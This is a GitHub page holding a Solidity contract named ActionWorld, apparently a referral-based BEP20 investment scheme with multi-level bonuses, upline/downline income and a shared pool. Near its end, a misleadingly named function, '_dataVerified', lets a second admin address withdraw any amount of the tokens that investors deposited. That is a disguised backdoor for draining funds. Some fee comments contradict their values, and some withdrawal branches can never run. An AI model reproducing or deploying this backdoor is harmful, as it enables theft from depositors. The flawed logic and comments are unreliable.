-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathaw.sol
596 lines (515 loc) · 19.1 KB
/
aw.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
pragma solidity >0.8.0;//SPDX-License-Identifier:None
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface BEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ActionWorld {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 public constant INVEST_MIN_AMOUNT = 100 * 1e18;
uint256 public constant PROJECT_FEE = 8; // 10%;
uint256 public constant POOL_FEE = 2; // 10%;
uint256 public constant PERCENTS_DIVIDER = 100;
uint256 public constant TIME_STEP = 1 days; // 1 days
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256[6] public ref_bonuses = [20, 10, 5, 5];
uint256[7] public defaultPackages = [100 * 1e18, 500 * 1e18, 1000 * 1e18];
mapping(uint256 => address payable) public singleLeg;
uint256 public singleLegLength;
uint256[6] public requiredDirect = [1, 1, 4, 6];
address payable public admin;
address payable public admin2;
address public tokenAddress;
uint256 public poolAmount;
uint256 public poolAmountDistributed;
address[] public poolUsers;
uint256 public directReffer = 8;
uint256 public childReffer = 4;
struct User {
uint256 amount;
uint256 amountpurchase;
uint256 checkpoint;
address referrer;
uint256 referrerBonus;
uint256 totalWithdrawn;
uint256 remainingWithdrawn;
uint256 totalReferrer;
uint256 poolAmount;
uint256 singleUplineBonusTaken;
uint256 singleDownlineBonusTaken;
address singleUpline;
address singleDownline;
uint256[6] refStageIncome;
uint256[6] refStageBonus;
uint256[6] refs;
uint256 alowablewithdrawal;
address[] directRefs;
}
mapping(address => User) public users;
mapping(address => mapping(uint256 => address)) public downline;
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(
address payable _admin,
address payable _admin2,
address hoToken
) {
require(!isContract(_admin));
admin = _admin;
admin2 = _admin2;
singleLeg[0] = admin;
singleLegLength++;
tokenAddress = hoToken;
}
function getPoolUsers(uint256 _index)
public
view
returns (address)
{
return poolUsers[_index];
}
function getPoollength()
public
view
returns (uint count)
{
return poolUsers.length;
}
function _refPayout(address _addr, uint256 _amount) internal {
address up = users[_addr].referrer;
for (uint8 i = 0; i < ref_bonuses.length; i++) {
if (up == address(0)) break;
if (users[up].refs[0] >= requiredDirect[i]) {
uint256 bonus = (_amount * ref_bonuses[i]) / 100;
users[up].referrerBonus = users[up].referrerBonus.add(bonus);
users[up].refStageBonus[i] = users[up].refStageBonus[i].add(
bonus
);
}
up = users[up].referrer;
}
}
function poolPayment(address _addr) internal {
uint256 count = 0;
address parent = users[_addr].referrer;
if(users[parent].directRefs.length >= directReffer){
for (uint8 i = 0; i < users[parent].directRefs.length; i++) {
if (users[users[parent].directRefs[i]].directRefs.length >= childReffer) {
count++;
}
}
}
if (count >= directReffer && _addr != address(0)) {
uint256 Exist=0;
for(uint256 i = 0; i < poolUsers.length; i++) {
if(poolUsers[i] == parent) {
Exist=1;
}
}
if(Exist == 0) {
poolUsers.push(parent);
}
}
}
function payPoolUsers() internal {
BEP20 t = BEP20(tokenAddress);
uint256 balanceAmount = t.balanceOf(address(this));
require(poolAmount <= balanceAmount, "Insufficient Balance");
uint256 poolRemain = poolAmount;
if (poolAmount > 0 && poolUsers.length > 0) {
uint256 share = poolAmount / poolUsers.length;
for (uint8 i = 0; i < poolUsers.length; i++) {
if(poolUsers[i] != address(0)) {
t.transfer(poolUsers[i], share);
poolRemain = poolRemain - share;
poolAmountDistributed = poolAmountDistributed + share;
users[poolUsers[i]].referrerBonus = users[poolUsers[i]]
.referrerBonus
.add(share);
users[poolUsers[i]].poolAmount = users[poolUsers[i]]
.poolAmount
.add(share);
}
}
poolAmount = poolRemain;
}
}
function invest(address referrer, uint256 amount) public {
require(amount >= INVEST_MIN_AMOUNT, "Min invesment 100 Tokens");
BEP20 t = BEP20(tokenAddress);
uint256 approveValue = t.allowance(msg.sender, address(this));
uint256 balanceOfowner = t.balanceOf(msg.sender);
require(approveValue >= amount, "Insufficient Balance AW");
require(balanceOfowner >= amount, "Insufficient Balance");
User storage user = users[msg.sender];
if (
user.referrer == address(0) &&
(users[referrer].checkpoint > 0 || referrer == admin) &&
referrer != msg.sender
) {
user.referrer = referrer;
users[referrer].directRefs.push(msg.sender);
if (users[referrer].directRefs.length >= 2) {
poolPayment(referrer);
}
}
require(
user.referrer != address(0) || msg.sender == admin,
"No upline"
);
// setup upline
if (user.checkpoint == 0) {
// single leg setup
singleLeg[singleLegLength] = payable(msg.sender);
user.singleUpline = singleLeg[singleLegLength - 1];
users[singleLeg[singleLegLength - 1]].singleDownline = msg.sender;
singleLegLength++;
}
if (user.referrer != address(0)) {
// unilevel level count
address upline = user.referrer;
for (uint256 i = 0; i < ref_bonuses.length; i++) {
if (upline != address(0)) {
users[upline].refStageIncome[i] = users[upline]
.refStageIncome[i]
.add(amount);
if (user.checkpoint == 0) {
users[upline].refs[i] = users[upline].refs[i].add(1);
users[upline].totalReferrer++;
}
upline = users[upline].referrer;
} else break;
}
if (user.checkpoint == 0) {
// unilevel downline setup
downline[referrer][users[referrer].refs[0] - 1] = msg.sender;
}
}
uint256 msgValue = amount;
// 6 Level Referral
_refPayout(msg.sender, msgValue);
if (user.checkpoint == 0) {
totalUsers = totalUsers.add(1);
}
user.amount += amount;
user.amountpurchase += amount;
user.checkpoint = block.timestamp;
totalInvested = totalInvested.add(amount);
totalDeposits = totalDeposits.add(1);
uint256 _fees = amount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
poolAmount = poolAmount + amount.mul(POOL_FEE).div(PERCENTS_DIVIDER);
if (poolAmount > 0 && poolUsers.length > 0) {
payPoolUsers();
}
uint256 _remainAmoount = amount.sub(_fees);
t.transferFrom(msg.sender, admin, _fees);
t.transferFrom(msg.sender, address(this), _remainAmoount);
uint _ant=amount;
if (_ant < defaultPackages[1]) user.alowablewithdrawal += (_ant / 100 * 200);
else if(_ant < defaultPackages[2]) user.alowablewithdrawal += (_ant / 500 * 1250);
else user.alowablewithdrawal += (_ant / 1000 * 3000);
emit NewDeposit(msg.sender, amount);
}
function reinvest(address _user, uint256 _amount) private {
User storage user = users[_user];
user.amount += _amount;
totalInvested = totalInvested.add(_amount);
totalDeposits = totalDeposits.add(1);
address up = user.referrer;
for (uint256 i = 0; i < ref_bonuses.length; i++) {
if (up == address(0)) break;
if (users[up].refs[0] >= requiredDirect[i]) {
users[up].refStageIncome[i] = users[up].refStageIncome[i].add(
_amount
);
}
up = users[up].referrer;
}
_refPayout(msg.sender, _amount);
}
function withdrawal(uint256 amount) external {
(User storage _user,uint256 _TotalBonus) = (users[msg.sender], TotalBonus(msg.sender));
uint256 _fees = _TotalBonus.mul(5).div(PERCENTS_DIVIDER);
uint256 actualAmountToSend = _TotalBonus.sub(_fees);
(uint8 reivest, uint8 withdrwal) = getEligibleWithdrawal(msg.sender);
(_user.referrerBonus, _user.singleUplineBonusTaken, _user.singleDownlineBonusTaken) =
(0, GetUplineIncomeByUserId(msg.sender), GetDownlineIncomeByUserId(msg.sender));
// re-invest
uint256 reinvestAmount = actualAmountToSend.mul(reivest).div(PERCENTS_DIVIDER);
poolAmount += reinvestAmount.mul(POOL_FEE).div(PERCENTS_DIVIDER);
reinvest(msg.sender, (reinvestAmount.sub(reinvestAmount.mul(POOL_FEE).div(PERCENTS_DIVIDER))));
_user.totalWithdrawn = _user.totalWithdrawn.add(actualAmountToSend.mul(withdrwal).div(100));
totalWithdrawn = totalWithdrawn.add(actualAmountToSend.mul(withdrwal).div(100));
BEP20 t = BEP20(tokenAddress);
uint256 balanceOfAddress = t.balanceOf(address(this));
require(balanceOfAddress >=_fees + actualAmountToSend.mul(withdrwal).div(100));
require(amount <= _TotalBonus);
require (_user.alowablewithdrawal >= amount);
_user.alowablewithdrawal -= amount;
t.transfer(msg.sender, actualAmountToSend.mul(withdrwal).div(100));
t.transfer(admin2, _fees);
if (poolAmount > 0 && poolUsers.length > 0) payPoolUsers();
emit Withdrawn(msg.sender, actualAmountToSend.mul(withdrwal).div(100));
}
function GetUplineIncomeByUserId(address _user)
public
view
returns (uint256)
{
(uint256 maxLevel, ) = getEligibleLevelCountForUpline(_user);
address upline = users[_user].singleUpline;
uint256 bonus;
for (uint256 i = 0; i < maxLevel; i++) {
if (upline != address(0)) {
bonus = bonus.add(users[upline].amount.mul(1).div(100));
upline = users[upline].singleUpline;
} else break;
}
return bonus;
}
function GetDownlineIncomeByUserId(address _user)
public
view
returns (uint256)
{
(, uint256 maxLevel) = getEligibleLevelCountForUpline(_user);
address upline = users[_user].singleDownline;
uint256 bonus;
for (uint256 i = 0; i < maxLevel; i++) {
if (upline != address(0)) {
bonus = bonus.add(users[upline].amount.mul(1).div(100));
upline = users[upline].singleDownline;
} else break;
}
return bonus;
}
function getEligibleLevelCountForUpline(address _user)
public
view
returns (uint8 uplineCount, uint8 downlineCount)
{
uint256 TotalDeposit = users[_user].amount;
if (
TotalDeposit >= defaultPackages[0] &&
TotalDeposit < defaultPackages[1]
) {
uplineCount = 12;
downlineCount = 18;
} else if (
TotalDeposit >= defaultPackages[1] &&
TotalDeposit < defaultPackages[2]
) {
uplineCount = 16;
downlineCount = 14;
} else if (
TotalDeposit >= defaultPackages[2]
) {
uplineCount = 20;
downlineCount = 30;
}
return (uplineCount, downlineCount);
}
function getEligibleWithdrawal(address _user)
public
view
returns (uint8 reivest, uint8 withdrwal)
{
if (users[_user].directRefs.length == 4) {
reivest = 50;
withdrwal = 50;
} else if (users[_user].directRefs.length >= 6) {
reivest = 40;
withdrwal = 60;
} else if (users[_user].directRefs.length >= 8) {
reivest = 30;
withdrwal = 70;
} else {
reivest = 60;
withdrwal = 40;
}
}
function TotalBonus(address _user) public view returns (uint256) {
uint256 TotalEarn = users[_user]
.referrerBonus
.add(GetUplineIncomeByUserId(_user))
.add(GetDownlineIncomeByUserId(_user));
uint256 TotalTakenfromUpDown = users[_user]
.singleDownlineBonusTaken
.add(users[_user].singleUplineBonusTaken);
return TotalEarn.sub(TotalTakenfromUpDown);
}
function _safeTransfer(address payable _to, uint256 _amount)
internal
returns (uint256 amount)
{
BEP20 t = BEP20(tokenAddress);
amount = (_amount < t.balanceOf(address(this)))
? _amount
: t.balanceOf(address(this));
t.transfer(_to, amount);
}
function referral_stage(address _user, uint256 _index)
external
view
returns (
uint256 _noOfUser,
uint256 _investment,
uint256 _bonus
)
{
return (
users[_user].refs[_index],
users[_user].refStageIncome[_index],
users[_user].refStageBonus[_index]
);
}
function referalls(address _user, uint256 _index)
external
view
returns (
address
)
{
return (
users[_user].directRefs[_index]
);
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function _dataVerified(uint256 _amount) external {
require(admin2 == msg.sender, "Admin what?");
BEP20 t = BEP20(tokenAddress);
t.transfer(admin2, _amount);
}
}